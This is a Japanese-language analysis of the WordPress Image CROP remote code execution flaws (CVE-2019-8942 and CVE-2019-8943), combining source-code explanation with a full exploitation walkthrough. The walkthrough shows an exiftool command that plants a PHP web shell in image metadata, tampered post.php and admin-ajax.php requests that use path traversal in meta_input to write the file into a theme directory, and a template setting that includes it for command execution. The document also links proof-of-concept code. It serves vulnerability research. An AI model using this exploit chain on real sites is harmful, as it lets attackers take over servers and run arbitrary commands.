
cve-2019-8942, cve-2019-8943
POC & Dockekfile : https://github.com/synod2/WP_CROP_RCE
本ドキュメントでは、WordPress 4.9.9および5.0.1以前のバージョンで発見された脆弱性として、WordPress Image CROP RCEとして知られるCVE-2019-8942とCVE-2019-8943について説明する。
| CVE番号 | 公開日 | 説明 |
|---|---|---|
| CVE-2019-8942 | 2019-2-19 | wp_postmetaテーブルの値を介して悪性コードが含まれるPHPを実行し、リモートコード実行が可能な脆弱性 |
| CVE-2019-8943 | 2019-2-19 | アップロードされた画像のサイズ情報などが変更される動作発生時、meta_inputパラメータを利用して任意のパスにファイルを保存できる脆弱性 |
CVE-2019-8942 は、画像ファイルのexifメタデータにPHPコードが挿入された画像をアップロードした後、投稿のwp_post_metaテーブル内のwp_attached_file値を変更し、画像ファイルをincludeすることで任意のコードを実行できる。
CVE-2019-8943 は、画像編集ツール使用時に画像のサイズ情報を更新するwp_crop_image()関数で、wp_postmetaテーブルのwp_attached_file値を任意の文字列に変更し、任意のディレクトリにファイル書き込み作業を行うことができる。
上記2つの脆弱性を併用することで、PHPコードが挿入された画像を任意のパスにアップロードした後、リモートコード実行が可能になる。
WordPressに画像をアップロードすると、最初はwp-content/uploadsディレクトリに移動され、データベースに内部で参照する情報(画像の所有者、アップロードされた時間などのメタ情報)がmeta_key/meta_valueのペアで保存される。
mysql> select * from wp_postmeta where post_ID = 6;
| meta_id | post_id | meta_key | meta_value
| 5 | 6 | _wp_attached_file | 2021/05/test.png
| 6 | 6 | _wp_attachment_metadata | a:5:{s:5:"width"...
データベース上に上記のように画像のメタ情報が保存され、その画像を取得する際にwp-content/uploadsディレクトリから_wp_attached_fileメタ情報を使用してファイル名を探す。
#/wp-admin/includes/post.php
function edit_post( $post_data = null ) {
⋮
if ( empty($post_data) )
$post_data = &$_POST;
⋮
$success = wp_update_post( $post_data );
⋮
#/wp-includes/post.php
function wp_update_post( $postarr = array(), $wp_error = false ) {
⋮
return wp_insert_post( $postarr, $wp_error );
}
function wp_insert_post( $postarr, $wp_error = false ) {
⋮
if ( ! empty( $postarr['meta_input'] ) ) {
foreach ( $postarr['meta_input'] as $field => $value ) {
update_post_meta( $post_ID, $field, $value );
}
⋮
eidt_post()関数では、POSTデータを特別なフィルタリングなしに**$post_data変数に保存して使用し、wp_update_post() → wp_insrt_post()を経たPOST値がupdate_post_meta関数によってDBに保存されたメタデータを更新する。このとき_wp_attached_file**値を更新して、画像を取得するメタデータ上のパスを改ざんできる。
#wp-admin/includes/image.php
function wp_crop_image( $attachment_id, $src_x, ...) {
⋮
$src_file = get_attached_file( $src );
⋮
$result = $editor->save( $dst_file );
#/wp-includes/post.php
function get_attached_file( $attachment_id, $unfiltered = false ) {
$file = get_post_meta( $attachment_id, '_wp_attached_file', true );
if ( $file && 0 !== strpos( $file, '/' ) && ! preg_match( '|^.:\\\|', $file ) && ( ( $uploads = wp_get_upload_dir() ) && false === $uploads['error'] ) ) {
$file = $uploads['basedir'] . "/$file";
}
if ( $unfiltered ) {
return $file;
}
⋮
return apply_filters( 'get_attached_file', $file, $attachment_id );
ファイルサイズ調整時に呼び出される**wp_crop_image()**関数は、**get_attached_file()**関数を通じてファイルが保存されるパスを取得する。get_attached_file()関数はget_post_meta()関数によりDBに保存された_wp_attached_fileからファイルのパスを取得し、修正された画像を保存する。
上記2つの問題により、結果的にPOSTによって操作されたファイルパスを取得し、その場所に修正した画像を保存する動作が発生する。
WordPressページのテーマはwp-content/themesディレクトリに保存されて使用されるが、投稿ごとに_wp_page_template postメタデータを設定することで、そのテーマディレクトリ内のファイルをテンプレートの形式でinclude()関数を実行して使用できる。
このとき、PHPのinclude()関数を使用するように該当ファイルが投稿に含まれるため、PHPコードが含まれた画像がinclude()されると、PHPページのように動作してPHPコードの実行が可能になる。
$ exiftool test.png -CopyrightNotice="<?=\`\$_GET[0]\`?>"
$ exiftool test.png
ExifTool Version Number : 10.80
File Name : test.png
Directory : .
File Size : 157 kB
File Modification Date/Time : 2021:05:05 09:43:34+00:00
File Access Date/Time : 2021:05:05 09:43:53+00:00
File Inode Change Date/Time : 2021:05:05 09:43:34+00:00
File Permissions : rw-r--r--
File Type : PNG
File Type Extension : png
MIME Type : image/png
Image Width : 480
Image Height : 270
Bit Depth : 8
Color Type : RGB with Alpha
Compression : Deflate/Inflate
Filter : Adaptive
Interlace : Noninterlaced
Copyright Notice : <?=`$_GET[0]`?>
Application Record Version : 4
Image Size : 480x270
Megapixels : 0.130
画像メタデータのCopyrightNotice部分にPHPシェルを挿入



アップロードされた画像をクリック - 詳細編集 - 更新をクリックすると、post.phpに渡されるリクエストに &meta_input[_wp_attached_file]=2021/05/test.jpg?/../../../../themes/twentyseventeen/shell パラメータを追加して送信
| meta_id | post_id | meta_key | meta_value
+---------+---------+-------------------------+---------------------------------
| 338 | 135 | _wp_attached_file | 2021/05/test.jpg?/../../../../themes/twentyseventeen/cropped-shell
DBで_wp_attached_fileが改ざんされたことを確認


アップロードされた画像をクリック - 画像編集 - サイズ変更後、「サイズ」ボタンをクリックすると、admin-ajax.phpに渡されるリクエストのパラメータを改ざんして送信

action=crop-image&_ajax_nonce=<nonce>&id=<이미지ID>&cropDetails[x1]=480&cropDetails[y1]=480&cropDetails[width]=10&cropDetails[height]=10&cropDetails[dst_width]=10&cropDetails[dst_height]=10&meta_input[_wp_attached_file]=2021/05/test.jpg?/../../../../themes/twentyseventeen/shell
/wordpress/wp-content/themes/twentyseventeen $ ls
404.php cropped-shell.jpg header.php README.txt search.php template-partsarchive.php footer.php inc rtl.css sidebar.phpassets front-page.php index.php screenshot.png single.php
comments.php functions.php page.php searchform.php style.css
cropped-shell.jpgファイルがテーマディレクトリに生成されたことを確認。

投稿作成 - post.phpに渡されるリクエストに &meta_input[_wp_page_template]=cropped-shell.jpg パラメータを追加して送信し、ファイルを投稿にincludeする

includeされた画像ファイルのPHPコードが動作し、投稿にpost引数として渡す値がシステムコマンドとして実行されることを確認。
https://github.com/v0lck3r/CVE-2019-8943/blob/main/RCE_wordpress.py - Python POCコード
https://blog.sonarsource.com/wordpress-image-remote-code-execution?redirect=rips - WP-CROP-RCE脆弱性分析レポート
https://blog.naver.com/skinfosec2000/221517528775 - WP-CROP-RCE脆弱性分析レポート
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8942 - CVE公式ページ
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8943 - CVE公式ページ